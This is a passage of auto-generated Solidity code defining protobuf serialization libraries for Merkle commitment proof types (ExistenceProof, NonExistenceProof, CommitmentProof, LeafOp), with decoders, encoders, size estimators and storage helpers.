InnerOp.Data[] path;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[5] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_key(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_value(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_leaf(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_path(pointer, bs, nil(), counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
pointer = offset;
r.path = new InnerOp.Data[](counters[4]);
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_key(pointer, bs, nil(), counters);
}
else if (fieldId == 2) {
pointer += _read_value(pointer, bs, nil(), counters);
}
else if (fieldId == 3) {
pointer += _read_leaf(pointer, bs, nil(), counters);
}
else if (fieldId == 4) {
pointer += _read_path(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_key(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.key = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_value(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.value = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_leaf(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(LeafOp.Data memory x, uint256 sz) = _decode_LeafOp(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.leaf = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_path(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(InnerOp.Data memory x, uint256 sz) = _decode_InnerOp(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.path[r.path.length - counters[4]] = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_LeafOp(uint256 p, bytes memory bs)
internal
pure
returns (LeafOp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(LeafOp.Data memory r, ) = LeafOp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_InnerOp(uint256 p, bytes memory bs)
internal
pure
returns (InnerOp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(InnerOp.Data memory r, ) = InnerOp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
uint256 i;
if (r.key.length != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.key, pointer, bs);
}
if (r.value.length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.value, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += LeafOp._encode_nested(r.leaf, pointer, bs);
if (r.path.length != 0) {
for(i = 0; i < r.path.length; i++) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs)
;
pointer += InnerOp._encode_nested(r.path[i], pointer, bs);
}
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;uint256 i;
e += 1 + ProtoBufRuntime._sz_lendelim(r.key.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.value.length);
e += 1 + ProtoBufRuntime._sz_lendelim(LeafOp._estimate(r.leaf));
for(i = 0; i < r.path.length; i++) {
e += 1 + ProtoBufRuntime._sz_lendelim(InnerOp._estimate(r.path[i]));
}
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.key.length != 0) {
return false;
}
if (r.value.length != 0) {
return false;
}
if (r.path.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.key = input.key;
output.value = input.value;
LeafOp.store(input.leaf, output.leaf);
for(uint256 i4 = 0; i4 < input.path.length; i4++) {
output.path.push(input.path[i4]);
}
}
//array helpers for Path
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addPath(Data memory self, InnerOp.Data memory value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
InnerOp.Data[] memory tmp = new InnerOp.Data[](self.path.length + 1);
for (uint256 i = 0; i < self.path.length; i++) {
tmp[i] = self.path[i];
}
tmp[self.path.length] = value;
self.path = tmp;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library ExistenceProof
library NonExistenceProof {
//struct definition
struct Data {
bytes key;
ExistenceProof.Data left;
ExistenceProof.Data right;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[4] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_key(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_left(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_right(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_key(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.key = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_left(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(ExistenceProof.Data memory x, uint256 sz) = _decode_ExistenceProof(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.left = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_right(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(ExistenceProof.Data memory x, uint256 sz) = _decode_ExistenceProof(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.right = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_ExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (ExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(ExistenceProof.Data memory r, ) = ExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.key.length != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.key, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ExistenceProof._encode_nested(r.left, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ExistenceProof._encode_nested(r.right, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(r.key.length);
e += 1 + ProtoBufRuntime._sz_lendelim(ExistenceProof._estimate(r.left));
e += 1 + ProtoBufRuntime._sz_lendelim(ExistenceProof._estimate(r.right));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.key.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.key = input.key;
ExistenceProof.store(input.left, output.left);
ExistenceProof.store(input.right, output.right);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library NonExistenceProof
library CommitmentProof {
//struct definition
struct Data {
ExistenceProof.Data exist;
NonExistenceProof.Data nonexist;
BatchProof.Data batch;
CompressedBatchProof.Data compressed;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[5] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_exist(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_nonexist(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_batch(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_compressed(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_exist(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(ExistenceProof.Data memory x, uint256 sz) = _decode_ExistenceProof(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.exist = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_nonexist(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(NonExistenceProof.Data memory x, uint256 sz) = _decode_NonExistenceProof(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.nonexist = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_batch(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(BatchProof.Data memory x, uint256 sz) = _decode_BatchProof(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.batch = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_compressed(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CompressedBatchProof.Data memory x, uint256 sz) = _decode_CompressedBatchProof(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.compressed = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_ExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (ExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(ExistenceProof.Data memory r, ) = ExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_NonExistenceProof(uint256 p, bytes memory bs)
internal
pure
returns (NonExistenceProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(NonExistenceProof.Data memory r, ) = NonExistenceProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_BatchProof(uint256 p, bytes memory bs)
internal
pure
returns (BatchProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(BatchProof.Data memory r, ) = BatchProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CompressedBatchProof(uint256 p, bytes memory bs)
internal
pure
returns (CompressedBatchProof.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CompressedBatchProof.Data memory r, ) = CompressedBatchProof._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ExistenceProof._encode_nested(r.exist, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += NonExistenceProof._encode_nested(r.nonexist, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += BatchProof._encode_nested(r.batch, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += CompressedBatchProof._encode_nested(r.compressed, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(ExistenceProof._estimate(r.exist));
e += 1 + ProtoBufRuntime._sz_lendelim(NonExistenceProof._estimate(r.nonexist));
e += 1 + ProtoBufRuntime._sz_lendelim(BatchProof._estimate(r.batch));
e += 1 + ProtoBufRuntime._sz_lendelim(CompressedBatchProof._estimate(r.compressed));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
ExistenceProof.store(input.exist, output.exist);
NonExistenceProof.store(input.nonexist, output.nonexist);
BatchProof.store(input.batch, output.batch);
CompressedBatchProof.store(input.compressed, output.compressed);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library CommitmentProof
library LeafOp {
//struct definition
struct Data {
PROOFS_PROTO_GLOBAL_ENUMS.HashOp hash;
PROOFS_PROTO_GLOBAL_ENUMS.HashOp prehash_key;
PROOFS_PROTO_GLOBAL_ENUMS.HashOp prehash_value;
PROOFS_PROTO_GLOBAL_ENUMS.LengthOp length;
bytes prefix;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[6] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_hash(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_prehash_key(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_prehash_value(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_length(pointer, bs, r, counters);
}
else if (fieldId == 5) {
pointer += _read_prefix(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
